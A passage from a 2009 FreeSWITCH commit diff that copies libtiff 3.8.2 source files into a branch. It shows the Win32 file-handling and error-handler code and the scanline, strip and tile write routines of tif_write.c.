+	if (*pbase == NULL)
+		return (0);
+	*psize = size;
+	return(1);
+}
+
+#ifdef __BORLANDC__
+#pragma argsused
+#endif
+static void
+_tiffDummyUnmapProc(thandle_t fd, tdata_t base, toff_t size)
+{
+}
+
+static void
+_tiffUnmapProc(thandle_t fd, tdata_t base, toff_t size)
+{
+	UnmapViewOfFile(base);
+}
+
+/*
+ * Open a TIFF file descriptor for read/writing.
+ * Note that TIFFFdOpen and TIFFOpen recognise the character 'u' in the mode
+ * string, which forces the file to be opened unmapped.
+ */
+TIFF*
+TIFFFdOpen(int ifd, const char* name, const char* mode)
+{
+	TIFF* tif;
+	BOOL fSuppressMap = (mode[1] == 'u' || (mode[1]!=0 && mode[2] == 'u'));
+
+	tif = TIFFClientOpen(name, mode, (thandle_t)ifd,
+			_tiffReadProc, _tiffWriteProc,
+			_tiffSeekProc, _tiffCloseProc, _tiffSizeProc,
+			fSuppressMap ? _tiffDummyMapProc : _tiffMapProc,
+			fSuppressMap ? _tiffDummyUnmapProc : _tiffUnmapProc);
+	if (tif)
+		tif->tif_fd = ifd;
+	return (tif);
+}
+
+/*
+ * Open a TIFF file for read/writing.
+ */
+TIFF*
+TIFFOpen(const char* name, const char* mode)
+{
+	static const char module[] = "TIFFOpen";
+	thandle_t fd;
+	int m;
+	DWORD dwMode;
+	TIFF* tif;
+
+	m = _TIFFgetMode(mode, module);
+
+	switch(m)
+	{
+	case O_RDONLY:
+		dwMode = OPEN_EXISTING;
+		break;
+	case O_RDWR:
+		dwMode = OPEN_ALWAYS;
+		break;
+	case O_RDWR|O_CREAT:
+		dwMode = OPEN_ALWAYS;
+		break;
+	case O_RDWR|O_TRUNC:
+		dwMode = CREATE_ALWAYS;
+		break;
+	case O_RDWR|O_CREAT|O_TRUNC:
+		dwMode = CREATE_ALWAYS;
+		break;
+	default:
+		return ((TIFF*)0);
+	}
+	fd = (thandle_t)CreateFileA(name,
+		(m == O_RDONLY)?GENERIC_READ:(GENERIC_READ | GENERIC_WRITE),
+		FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, dwMode,
+		(m == O_RDONLY)?FILE_ATTRIBUTE_READONLY:FILE_ATTRIBUTE_NORMAL,
+		NULL);
+	if (fd == INVALID_HANDLE_VALUE) {
+		TIFFErrorExt(0, module, "%s: Cannot open", name);
+		return ((TIFF *)0);
+	}
+
+	tif = TIFFFdOpen((int)fd, name, mode);
+	if(!tif)
+		CloseHandle(fd);
+	return tif;
+}
+
+/*
+ * Open a TIFF file with a Unicode filename, for read/writing.
+ */
+TIFF*
+TIFFOpenW(const wchar_t* name, const char* mode)
+{
+	static const char module[] = "TIFFOpenW";
+	thandle_t fd;
+	int m;
+	DWORD dwMode;
+	int mbsize;
+	char *mbname;
+	TIFF *tif;
+
+	m = _TIFFgetMode(mode, module);
+
+	switch(m) {
+		case O_RDONLY:			dwMode = OPEN_EXISTING; break;
+		case O_RDWR:			dwMode = OPEN_ALWAYS;   break;
+		case O_RDWR|O_CREAT:		dwMode = OPEN_ALWAYS;   break;
+		case O_RDWR|O_TRUNC:		dwMode = CREATE_ALWAYS; break;
+		case O_RDWR|O_CREAT|O_TRUNC:	dwMode = CREATE_ALWAYS; break;
+		default:			return ((TIFF*)0);
+	}
+
+	fd = (thandle_t)CreateFileW(name,
+		(m == O_RDONLY)?GENERIC_READ:(GENERIC_READ|GENERIC_WRITE),
+		FILE_SHARE_READ, NULL, dwMode,
+		(m == O_RDONLY)?FILE_ATTRIBUTE_READONLY:FILE_ATTRIBUTE_NORMAL,
+		NULL);
+	if (fd == INVALID_HANDLE_VALUE) {
+		TIFFErrorExt(0, module, "%S: Cannot open", name);
+		return ((TIFF *)0);
+	}
+
+	mbname = NULL;
+	mbsize = WideCharToMultiByte(CP_ACP, 0, name, -1, NULL, 0, NULL, NULL);
+	if (mbsize > 0) {
+		mbname = (char *)_TIFFmalloc(mbsize);
+		if (!mbname) {
+			TIFFErrorExt(0, module,
+			"Can't allocate space for filename conversion buffer");
+			return ((TIFF*)0);
+		}
+
+		WideCharToMultiByte(CP_ACP, 0, name, -1, mbname, mbsize,
+				    NULL, NULL);
+	}
+
+	tif = TIFFFdOpen((int)fd,
+			 (mbname != NULL) ? mbname : "<unknown>", mode);
+	if(!tif)
+		CloseHandle(fd);
+
+	_TIFFfree(mbname);
+
+	return tif;
+}
+
+tdata_t
+_TIFFmalloc(tsize_t s)
+{
+	return ((tdata_t)GlobalAlloc(GMEM_FIXED, s));
+}
+
+void
+_TIFFfree(tdata_t p)
+{
+	GlobalFree(p);
+	return;
+}
+
+tdata_t
+_TIFFrealloc(tdata_t p, tsize_t s)
+{
+        void* pvTmp;
+        tsize_t old;
+
+        if(p == NULL)
+                return ((tdata_t)GlobalAlloc(GMEM_FIXED, s));
+
+        old = GlobalSize(p);
+
+        if (old>=s) {
+                if ((pvTmp = GlobalAlloc(GMEM_FIXED, s)) != NULL) {
+	                CopyMemory(pvTmp, p, s);
+	                GlobalFree(p);
+                }
+        } else {
+                if ((pvTmp = GlobalAlloc(GMEM_FIXED, s)) != NULL) {
+	                CopyMemory(pvTmp, p, old);
+	                GlobalFree(p);
+                }
+        }
+        return ((tdata_t)pvTmp);
+}
+
+void
+_TIFFmemset(void* p, int v, tsize_t c)
+{
+	FillMemory(p, c, (BYTE)v);
+}
+
+void
+_TIFFmemcpy(void* d, const tdata_t s, tsize_t c)
+{
+	CopyMemory(d, s, c);
+}
+
+int
+_TIFFmemcmp(const tdata_t p1, const tdata_t p2, tsize_t c)
+{
+	register const BYTE *pb1 = (const BYTE *) p1;
+	register const BYTE *pb2 = (const BYTE *) p2;
+	register DWORD dwTmp = c;
+	register int iTmp;
+	for (iTmp = 0; dwTmp-- && !iTmp; iTmp = (int)*pb1++ - (int)*pb2++)
+		;
+	return (iTmp);
+}
+
+static void
+Win32WarningHandler(const char* module, const char* fmt, va_list ap)
+{
+#ifndef TIF_PLATFORM_CONSOLE
+	LPTSTR szTitle;
+	LPTSTR szTmp;
+	LPCTSTR szTitleText = "%s Warning";
+	LPCTSTR szDefaultModule = "LIBTIFF";
+	LPCTSTR szTmpModule = (module == NULL) ? szDefaultModule : module;
+	if ((szTitle = (LPTSTR)LocalAlloc(LMEM_FIXED, (strlen(szTmpModule) +
+		strlen(szTitleText) + strlen(fmt) + 128)*sizeof(char))) == NULL)
+		return;
+	sprintf(szTitle, szTitleText, szTmpModule);
+	szTmp = szTitle + (strlen(szTitle)+2)*sizeof(char);
+	vsprintf(szTmp, fmt, ap);
+	MessageBoxA(GetFocus(), szTmp, szTitle, MB_OK | MB_ICONINFORMATION);
+	LocalFree(szTitle);
+	return;
+#else
+	if (module != NULL)
+		fprintf(stderr, "%s: ", module);
+	fprintf(stderr, "Warning, ");
+	vfprintf(stderr, fmt, ap);
+	fprintf(stderr, ".\n");
+#endif        
+}
+TIFFErrorHandler _TIFFwarningHandler = Win32WarningHandler;
+
+static void
+Win32ErrorHandler(const char* module, const char* fmt, va_list ap)
+{
+#ifndef TIF_PLATFORM_CONSOLE
+	LPTSTR szTitle;
+	LPTSTR szTmp;
+	LPCTSTR szTitleText = "%s Error";
+	LPCTSTR szDefaultModule = "LIBTIFF";
+	LPCTSTR szTmpModule = (module == NULL) ? szDefaultModule : module;
+	if ((szTitle = (LPTSTR)LocalAlloc(LMEM_FIXED, (strlen(szTmpModule) +
+		strlen(szTitleText) + strlen(fmt) + 128)*sizeof(char))) == NULL)
+		return;
+	sprintf(szTitle, szTitleText, szTmpModule);
+	szTmp = szTitle + (strlen(szTitle)+2)*sizeof(char);
+	vsprintf(szTmp, fmt, ap);
+	MessageBoxA(GetFocus(), szTmp, szTitle, MB_OK | MB_ICONEXCLAMATION);
+	LocalFree(szTitle);
+	return;
+#else
+	if (module != NULL)
+		fprintf(stderr, "%s: ", module);
+	vfprintf(stderr, fmt, ap);
+	fprintf(stderr, ".\n");
+#endif        
+}
+TIFFErrorHandler _TIFFerrorHandler = Win32ErrorHandler;
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_write.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_write.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_write.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_write.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_write.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,725 @@
+/* $Id: tif_write.c,v 1.21 2006/02/27 14:29:20 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * Scanline-oriented Write Support
+ */
+#include "tiffiop.h"
+#include <stdio.h>
+
+#define	STRIPINCR	20		/* expansion factor on strip array */
+
+#define	WRITECHECKSTRIPS(tif, module)				\
+	(((tif)->tif_flags&TIFF_BEENWRITING) || TIFFWriteCheck((tif),0,module))
+#define	WRITECHECKTILES(tif, module)				\
+	(((tif)->tif_flags&TIFF_BEENWRITING) || TIFFWriteCheck((tif),1,module))
+#define	BUFFERCHECK(tif)					\
+	((((tif)->tif_flags & TIFF_BUFFERSETUP) && tif->tif_rawdata) ||	\
+	    TIFFWriteBufferSetup((tif), NULL, (tsize_t) -1))
+
+static	int TIFFGrowStrips(TIFF*, int, const char*);
+static	int TIFFAppendToStrip(TIFF*, tstrip_t, tidata_t, tsize_t);
+
+int
+TIFFWriteScanline(TIFF* tif, tdata_t buf, uint32 row, tsample_t sample)
+{
+	static const char module[] = "TIFFWriteScanline";
+	register TIFFDirectory *td;
+	int status, imagegrew = 0;
+	tstrip_t strip;
+
+	if (!WRITECHECKSTRIPS(tif, module))
+		return (-1);
+	/*
+	 * Handle delayed allocation of data buffer.  This
+	 * permits it to be sized more intelligently (using
+	 * directory information).
+	 */
+	if (!BUFFERCHECK(tif))
+		return (-1);
+	td = &tif->tif_dir;
+	/*
+	 * Extend image length if needed
+	 * (but only for PlanarConfig=1).
+	 */
+	if (row >= td->td_imagelength) {	/* extend image */
+		if (td->td_planarconfig == PLANARCONFIG_SEPARATE) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		"Can not change \"ImageLength\" when using separate planes");
+			return (-1);
+		}
+		td->td_imagelength = row+1;
+		imagegrew = 1;
+	}
+	/*
+	 * Calculate strip and check for crossings.
+	 */
+	if (td->td_planarconfig == PLANARCONFIG_SEPARATE) {
+		if (sample >= td->td_samplesperpixel) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			    "%d: Sample out of range, max %d",
+			    sample, td->td_samplesperpixel);
+			return (-1);
+		}
+		strip = sample*td->td_stripsperimage + row/td->td_rowsperstrip;
+	} else
+		strip = row / td->td_rowsperstrip;
+	/*
+	 * Check strip array to make sure there's space. We don't support
+	 * dynamically growing files that have data organized in separate
+	 * bitplanes because it's too painful.  In that case we require that
+	 * the imagelength be set properly before the first write (so that the
+	 * strips array will be fully allocated above).
+	 */
+	if (strip >= td->td_nstrips && !TIFFGrowStrips(tif, 1, module))
+		return (-1);
+	if (strip != tif->tif_curstrip) {
+		/*
+		 * Changing strips -- flush any data present.
+		 */
+		if (!TIFFFlushData(tif))
+			return (-1);
+		tif->tif_curstrip = strip;
+		/*
+		 * Watch out for a growing image.  The value of strips/image
+		 * will initially be 1 (since it can't be deduced until the
+		 * imagelength is known).
+		 */
+		if (strip >= td->td_stripsperimage && imagegrew)
+			td->td_stripsperimage =
+			    TIFFhowmany(td->td_imagelength,td->td_rowsperstrip);
+		tif->tif_row =
+		    (strip % td->td_stripsperimage) * td->td_rowsperstrip;
+		if ((tif->tif_flags & TIFF_CODERSETUP) == 0) {
+			if (!(*tif->tif_setupencode)(tif))
+				return (-1);
+			tif->tif_flags |= TIFF_CODERSETUP;
+		}
+        
+		tif->tif_rawcc = 0;
+		tif->tif_rawcp = tif->tif_rawdata;
+
+		if( td->td_stripbytecount[strip] > 0 )
+		{
+			/* if we are writing over existing tiles, zero length */
+			td->td_stripbytecount[strip] = 0;
+
+			/* this forces TIFFAppendToStrip() to do a seek */
+			tif->tif_curoff = 0;
+		}
+
+		if (!(*tif->tif_preencode)(tif, sample))
+			return (-1);
+		tif->tif_flags |= TIFF_POSTENCODE;
+	}
+	/*
+	 * Ensure the write is either sequential or at the
+	 * beginning of a strip (or that we can randomly
+	 * access the data -- i.e. no encoding).
+	 */
+	if (row != tif->tif_row) {
+		if (row < tif->tif_row) {
+			/*
+			 * Moving backwards within the same strip:
+			 * backup to the start and then decode
+			 * forward (below).
+			 */
+			tif->tif_row = (strip % td->td_stripsperimage) *
+			    td->td_rowsperstrip;
+			tif->tif_rawcp = tif->tif_rawdata;
+		}
+		/*
+		 * Seek forward to the desired row.
+		 */
+		if (!(*tif->tif_seek)(tif, row - tif->tif_row))
+			return (-1);
+		tif->tif_row = row;
+	}
+
+        /* swab if needed - note that source buffer will be altered */
+        tif->tif_postdecode( tif, (tidata_t) buf, tif->tif_scanlinesize );
+
+	status = (*tif->tif_encoderow)(tif, (tidata_t) buf,
+	    tif->tif_scanlinesize, sample);
+
+        /* we are now poised at the beginning of the next row */
+	tif->tif_row = row + 1;
+	return (status);
+}
+
+/*
+ * Encode the supplied data and write it to the
+ * specified strip.
+ *
+ * NB: Image length must be setup before writing.
+ */
+tsize_t
+TIFFWriteEncodedStrip(TIFF* tif, tstrip_t strip, tdata_t data, tsize_t cc)
+{
+	static const char module[] = "TIFFWriteEncodedStrip";
+	TIFFDirectory *td = &tif->tif_dir;
+	tsample_t sample;
+
+	if (!WRITECHECKSTRIPS(tif, module))
+		return ((tsize_t) -1);
+	/*
+	 * Check strip array to make sure there's space.
+	 * We don't support dynamically growing files that
+	 * have data organized in separate bitplanes because
+	 * it's too painful.  In that case we require that
+	 * the imagelength be set properly before the first
+	 * write (so that the strips array will be fully
+	 * allocated above).
+	 */
+	if (strip >= td->td_nstrips) {
+		if (td->td_planarconfig == PLANARCONFIG_SEPARATE) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		"Can not grow image by strips when using separate planes");
+			return ((tsize_t) -1);
+		}
+		if (!TIFFGrowStrips(tif, 1, module))
+			return ((tsize_t) -1);
+		td->td_stripsperimage =
+		    TIFFhowmany(td->td_imagelength, td->td_rowsperstrip);
+	}
+	/*
+	 * Handle delayed allocation of data buffer.  This
+	 * permits it to be sized according to the directory
+	 * info.
+	 */
+	if (!BUFFERCHECK(tif))
+		return ((tsize_t) -1);
+	tif->tif_curstrip = strip;
+	tif->tif_row = (strip % td->td_stripsperimage) * td->td_rowsperstrip;
+	if ((tif->tif_flags & TIFF_CODERSETUP) == 0) {
+		if (!(*tif->tif_setupencode)(tif))
+			return ((tsize_t) -1);
+		tif->tif_flags |= TIFF_CODERSETUP;
+	}
+        
+	tif->tif_rawcc = 0;
+	tif->tif_rawcp = tif->tif_rawdata;
+
+        if( td->td_stripbytecount[strip] > 0 )
+        {
+            /* if we are writing over existing tiles, zero length. */
+            td->td_stripbytecount[strip] = 0;
+
+            /* this forces TIFFAppendToStrip() to do a seek */
+            tif->tif_curoff = 0;
+        }
+        
+	tif->tif_flags &= ~TIFF_POSTENCODE;
+	sample = (tsample_t)(strip / td->td_stripsperimage);
+	if (!(*tif->tif_preencode)(tif, sample))
+		return ((tsize_t) -1);
+
+        /* swab if needed - note that source buffer will be altered */
+        tif->tif_postdecode( tif, (tidata_t) data, cc );
+
+	if (!(*tif->tif_encodestrip)(tif, (tidata_t) data, cc, sample))
+		return ((tsize_t) 0);
+	if (!(*tif->tif_postencode)(tif))
+		return ((tsize_t) -1);
+	if (!isFillOrder(tif, td->td_fillorder) &&
+	    (tif->tif_flags & TIFF_NOBITREV) == 0)
+		TIFFReverseBits(tif->tif_rawdata, tif->tif_rawcc);
+	if (tif->tif_rawcc > 0 &&
+	    !TIFFAppendToStrip(tif, strip, tif->tif_rawdata, tif->tif_rawcc))
+		return ((tsize_t) -1);
+	tif->tif_rawcc = 0;
+	tif->tif_rawcp = tif->tif_rawdata;
+	return (cc);
+}
+
+/*
+ * Write the supplied data to the specified strip.
+ *
+ * NB: Image length must be setup before writing.
+ */
+tsize_t
+TIFFWriteRawStrip(TIFF* tif, tstrip_t strip, tdata_t data, tsize_t cc)
+{
+	static const char module[] = "TIFFWriteRawStrip";
+	TIFFDirectory *td = &tif->tif_dir;
+
+	if (!WRITECHECKSTRIPS(tif, module))
+		return ((tsize_t) -1);
+	/*
+	 * Check strip array to make sure there's space.
+	 * We don't support dynamically growing files that
+	 * have data organized in separate bitplanes because
+	 * it's too painful.  In that case we require that
+	 * the imagelength be set properly before the first
+	 * write (so that the strips array will be fully
+	 * allocated above).
+	 */
+	if (strip >= td->td_nstrips) {
+		if (td->td_planarconfig == PLANARCONFIG_SEPARATE) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		"Can not grow image by strips when using separate planes");
+			return ((tsize_t) -1);
+		}
+		/*
+		 * Watch out for a growing image.  The value of
+		 * strips/image will initially be 1 (since it
+		 * can't be deduced until the imagelength is known).
+		 */
+		if (strip >= td->td_stripsperimage)
+			td->td_stripsperimage =
+			    TIFFhowmany(td->td_imagelength,td->td_rowsperstrip);
+		if (!TIFFGrowStrips(tif, 1, module))
+			return ((tsize_t) -1);
+	}
+	tif->tif_curstrip = strip;
+	tif->tif_row = (strip % td->td_stripsperimage) * td->td_rowsperstrip;
+	return (TIFFAppendToStrip(tif, strip, (tidata_t) data, cc) ?
+	    cc : (tsize_t) -1);
+}
+
+/*
+ * Write and compress a tile of data.  The
+ * tile is selected by the (x,y,z,s) coordinates.
+ */
+tsize_t
+TIFFWriteTile(TIFF* tif,
+    tdata_t buf, uint32 x, uint32 y, uint32 z, tsample_t s)
+{
+	if (!TIFFCheckTile(tif, x, y, z, s))
+		return (-1);
+	/*
+	 * NB: A tile size of -1 is used instead of tif_tilesize knowing
+	 *     that TIFFWriteEncodedTile will clamp this to the tile size.
+	 *     This is done because the tile size may not be defined until
+	 *     after the output buffer is setup in TIFFWriteBufferSetup.
+	 */
+	return (TIFFWriteEncodedTile(tif,
+	    TIFFComputeTile(tif, x, y, z, s), buf, (tsize_t) -1));
+}
+
+/*
+ * Encode the supplied data and write it to the
+ * specified tile.  There must be space for the
+ * data.  The function clamps individual writes
+ * to a tile to the tile size, but does not (and
+ * can not) check that multiple writes to the same
+ * tile do not write more than tile size data.
+ *
+ * NB: Image length must be setup before writing; this
+ *     interface does not support automatically growing
+ *     the image on each write (as TIFFWriteScanline does).
+ */
+tsize_t
+TIFFWriteEncodedTile(TIFF* tif, ttile_t tile, tdata_t data, tsize_t cc)
+{
+	static const char module[] = "TIFFWriteEncodedTile";
+	TIFFDirectory *td;
+	tsample_t sample;
+
+	if (!WRITECHECKTILES(tif, module))
+		return ((tsize_t) -1);
+	td = &tif->tif_dir;
+	if (tile >= td->td_nstrips) {
+		TIFFErrorExt(tif->tif_clientdata, module, "%s: Tile %lu out of range, max %lu",
+		    tif->tif_name, (unsigned long) tile, (unsigned long) td->td_nstrips);
+		return ((tsize_t) -1);
+	}
+	/*
+	 * Handle delayed allocation of data buffer.  This
+	 * permits it to be sized more intelligently (using
+	 * directory information).
+	 */
+	if (!BUFFERCHECK(tif))
+		return ((tsize_t) -1);
+	tif->tif_curtile = tile;
+
+	tif->tif_rawcc = 0;
+	tif->tif_rawcp = tif->tif_rawdata;
+
+        if( td->td_stripbytecount[tile] > 0 )
+        {
+            /* if we are writing over existing tiles, zero length. */
+            td->td_stripbytecount[tile] = 0;
+
+            /* this forces TIFFAppendToStrip() to do a seek */
+            tif->tif_curoff = 0;
+        }
+        
+	/* 
+	 * Compute tiles per row & per column to compute
+	 * current row and column
+	 */
+	tif->tif_row = (tile % TIFFhowmany(td->td_imagelength, td->td_tilelength))
+		* td->td_tilelength;
+	tif->tif_col = (tile % TIFFhowmany(td->td_imagewidth, td->td_tilewidth))
+		* td->td_tilewidth;
+
+	if ((tif->tif_flags & TIFF_CODERSETUP) == 0) {
+		if (!(*tif->tif_setupencode)(tif))
+			return ((tsize_t) -1);
+		tif->tif_flags |= TIFF_CODERSETUP;
+	}
+	tif->tif_flags &= ~TIFF_POSTENCODE;
+	sample = (tsample_t)(tile/td->td_stripsperimage);
+	if (!(*tif->tif_preencode)(tif, sample))
+		return ((tsize_t) -1);
+	/*
+	 * Clamp write amount to the tile size.  This is mostly
+	 * done so that callers can pass in some large number
+	 * (e.g. -1) and have the tile size used instead.
+	 */
+	if ( cc < 1 || cc > tif->tif_tilesize)
+		cc = tif->tif_tilesize;
+
+        /* swab if needed - note that source buffer will be altered */
+        tif->tif_postdecode( tif, (tidata_t) data, cc );
+
+	if (!(*tif->tif_encodetile)(tif, (tidata_t) data, cc, sample))
+		return ((tsize_t) 0);
+	if (!(*tif->tif_postencode)(tif))
+		return ((tsize_t) -1);
+	if (!isFillOrder(tif, td->td_fillorder) &&
+	    (tif->tif_flags & TIFF_NOBITREV) == 0)
+		TIFFReverseBits((unsigned char *)tif->tif_rawdata, tif->tif_rawcc);
+	if (tif->tif_rawcc > 0 && !TIFFAppendToStrip(tif, tile,
+	    tif->tif_rawdata, tif->tif_rawcc))
+		return ((tsize_t) -1);
+	tif->tif_rawcc = 0;
+	tif->tif_rawcp = tif->tif_rawdata;
+	return (cc);
+}
+
+/*
+ * Write the supplied data to the specified strip.
+ * There must be space for the data; we don't check
+ * if strips overlap!
+ *
+ * NB: Image length must be setup before writing; this
+ *     interface does not support automatically growing
+ *     the image on each write (as TIFFWriteScanline does).
+ */
+tsize_t
+TIFFWriteRawTile(TIFF* tif, ttile_t tile, tdata_t data, tsize_t cc)
+{
+	static const char module[] = "TIFFWriteRawTile";
+
+	if (!WRITECHECKTILES(tif, module))
+		return ((tsize_t) -1);
+	if (tile >= tif->tif_dir.td_nstrips) {
+		TIFFErrorExt(tif->tif_clientdata, module, "%s: Tile %lu out of range, max %lu",
+		    tif->tif_name, (unsigned long) tile,
+		    (unsigned long) tif->tif_dir.td_nstrips);
+		return ((tsize_t) -1);
+	}
+	return (TIFFAppendToStrip(tif, tile, (tidata_t) data, cc) ?
+	    cc : (tsize_t) -1);
+}
+
+#define	isUnspecified(tif, f) \
+    (TIFFFieldSet(tif,f) && (tif)->tif_dir.td_imagelength == 0)
+
+int
+TIFFSetupStrips(TIFF* tif)
+{
+	TIFFDirectory* td = &tif->tif_dir;
+
+	if (isTiled(tif))
+		td->td_stripsperimage =
+		    isUnspecified(tif, FIELD_TILEDIMENSIONS) ?
+			td->td_samplesperpixel : TIFFNumberOfTiles(tif);
+	else
+		td->td_stripsperimage =
+		    isUnspecified(tif, FIELD_ROWSPERSTRIP) ?
+			td->td_samplesperpixel : TIFFNumberOfStrips(tif);
+	td->td_nstrips = td->td_stripsperimage;
+	if (td->td_planarconfig == PLANARCONFIG_SEPARATE)
+		td->td_stripsperimage /= td->td_samplesperpixel;
+	td->td_stripoffset = (uint32 *)
+	    _TIFFmalloc(td->td_nstrips * sizeof (uint32));
+	td->td_stripbytecount = (uint32 *)
+	    _TIFFmalloc(td->td_nstrips * sizeof (uint32));
+	if (td->td_stripoffset == NULL || td->td_stripbytecount == NULL)
+		return (0);
+	/*
+	 * Place data at the end-of-file
+	 * (by setting offsets to zero).
+	 */
+	_TIFFmemset(td->td_stripoffset, 0, td->td_nstrips*sizeof (uint32));
+	_TIFFmemset(td->td_stripbytecount, 0, td->td_nstrips*sizeof (uint32));
+	TIFFSetFieldBit(tif, FIELD_STRIPOFFSETS);
+	TIFFSetFieldBit(tif, FIELD_STRIPBYTECOUNTS);
+	return (1);
+}
+#undef isUnspecified
+
+/*
+ * Verify file is writable and that the directory
+ * information is setup properly.  In doing the latter
+ * we also "freeze" the state of the directory so
+ * that important information is not changed.
+ */
+int
+TIFFWriteCheck(TIFF* tif, int tiles, const char* module)
+{
+	if (tif->tif_mode == O_RDONLY) {
+		TIFFErrorExt(tif->tif_clientdata, module, "%s: File not open for writing",
+		    tif->tif_name);
+		return (0);
+	}
+	if (tiles ^ isTiled(tif)) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, tiles ?
+		    "Can not write tiles to a stripped image" :
+		    "Can not write scanlines to a tiled image");
+		return (0);
+	}
+        
+	/*
+	 * On the first write verify all the required information
+	 * has been setup and initialize any data structures that
+	 * had to wait until directory information was set.
+	 * Note that a lot of our work is assumed to remain valid
+	 * because we disallow any of the important parameters
+	 * from changing after we start writing (i.e. once
+	 * TIFF_BEENWRITING is set, TIFFSetField will only allow
+	 * the image's length to be changed).
+	 */
+	if (!TIFFFieldSet(tif, FIELD_IMAGEDIMENSIONS)) {
+		TIFFErrorExt(tif->tif_clientdata, module,
+		    "%s: Must set \"ImageWidth\" before writing data",
+		    tif->tif_name);
+		return (0);
+	}
+	if (tif->tif_dir.td_samplesperpixel == 1) {
+		/* 
+		 * Planarconfiguration is irrelevant in case of single band
+		 * images and need not be included. We will set it anyway,
+		 * because this field is used in other parts of library even
+		 * in the single band case.
+		 */
+		tif->tif_dir.td_planarconfig = PLANARCONFIG_CONTIG;
+	} else {
+		if (!TIFFFieldSet(tif, FIELD_PLANARCONFIG)) {
+			TIFFErrorExt(tif->tif_clientdata, module,
+		    "%s: Must set \"PlanarConfiguration\" before writing data",
+			    tif->tif_name);
+			return (0);
+		}
+	}
+	if (tif->tif_dir.td_stripoffset == NULL && !TIFFSetupStrips(tif)) {
+		tif->tif_dir.td_nstrips = 0;
+		TIFFErrorExt(tif->tif_clientdata, module, "%s: No space for %s arrays",
+		    tif->tif_name, isTiled(tif) ? "tile" : "strip");
+		return (0);
+	}
+	tif->tif_tilesize = isTiled(tif) ? TIFFTileSize(tif) : (tsize_t) -1;
+	tif->tif_scanlinesize = TIFFScanlineSize(tif);
+	tif->tif_flags |= TIFF_BEENWRITING;
+	return (1);
+}
+
+/*
+ * Setup the raw data buffer used for encoding.
+ */
+int
+TIFFWriteBufferSetup(TIFF* tif, tdata_t bp, tsize_t size)
+{
+	static const char module[] = "TIFFWriteBufferSetup";
+
+	if (tif->tif_rawdata) {
+		if (tif->tif_flags & TIFF_MYBUFFER) {
+			_TIFFfree(tif->tif_rawdata);
+			tif->tif_flags &= ~TIFF_MYBUFFER;
+		}
+		tif->tif_rawdata = NULL;
+	}
+	if (size == (tsize_t) -1) {
+		size = (isTiled(tif) ?
+		    tif->tif_tilesize : TIFFStripSize(tif));
+		/*
+		 * Make raw data buffer at least 8K
+		 */
+		if (size < 8*1024)
+			size = 8*1024;
+		bp = NULL;			/* NB: force malloc */
+	}
+	if (bp == NULL) {
+		bp = _TIFFmalloc(size);
+		if (bp == NULL) {
+			TIFFErrorExt(tif->tif_clientdata, module, "%s: No space for output buffer",
+			    tif->tif_name);
+			return (0);
+		}
+		tif->tif_flags |= TIFF_MYBUFFER;
+	} else
+		tif->tif_flags &= ~TIFF_MYBUFFER;
+	tif->tif_rawdata = (tidata_t) bp;
+	tif->tif_rawdatasize = size;
+	tif->tif_rawcc = 0;
+	tif->tif_rawcp = tif->tif_rawdata;
+	tif->tif_flags |= TIFF_BUFFERSETUP;
+	return (1);
+}
+
+/*
+ * Grow the strip data structures by delta strips.
+ */
+static int
+TIFFGrowStrips(TIFF* tif, int delta, const char* module)
+{
+	TIFFDirectory	*td = &tif->tif_dir;
+	uint32		*new_stripoffset, *new_stripbytecount;
+
+	assert(td->td_planarconfig == PLANARCONFIG_CONTIG);
+	new_stripoffset = (uint32*)_TIFFrealloc(td->td_stripoffset,
+		(td->td_nstrips + delta) * sizeof (uint32));
+	new_stripbytecount = (uint32*)_TIFFrealloc(td->td_stripbytecount,
+		(td->td_nstrips + delta) * sizeof (uint32));
+	if (new_stripoffset == NULL || new_stripbytecount == NULL) {
+		if (new_stripoffset)
+			_TIFFfree(new_stripoffset);
+		if (new_stripbytecount)
+			_TIFFfree(new_stripbytecount);
+		td->td_nstrips = 0;
+		TIFFErrorExt(tif->tif_clientdata, module, "%s: No space to expand strip arrays",
+			  tif->tif_name);
+		return (0);
+	}
+	td->td_stripoffset = new_stripoffset;
+	td->td_stripbytecount = new_stripbytecount;
+	_TIFFmemset(td->td_stripoffset + td->td_nstrips,
+		    0, delta*sizeof (uint32));
+	_TIFFmemset(td->td_stripbytecount + td->td_nstrips,
+		    0, delta*sizeof (uint32));
+	td->td_nstrips += delta;
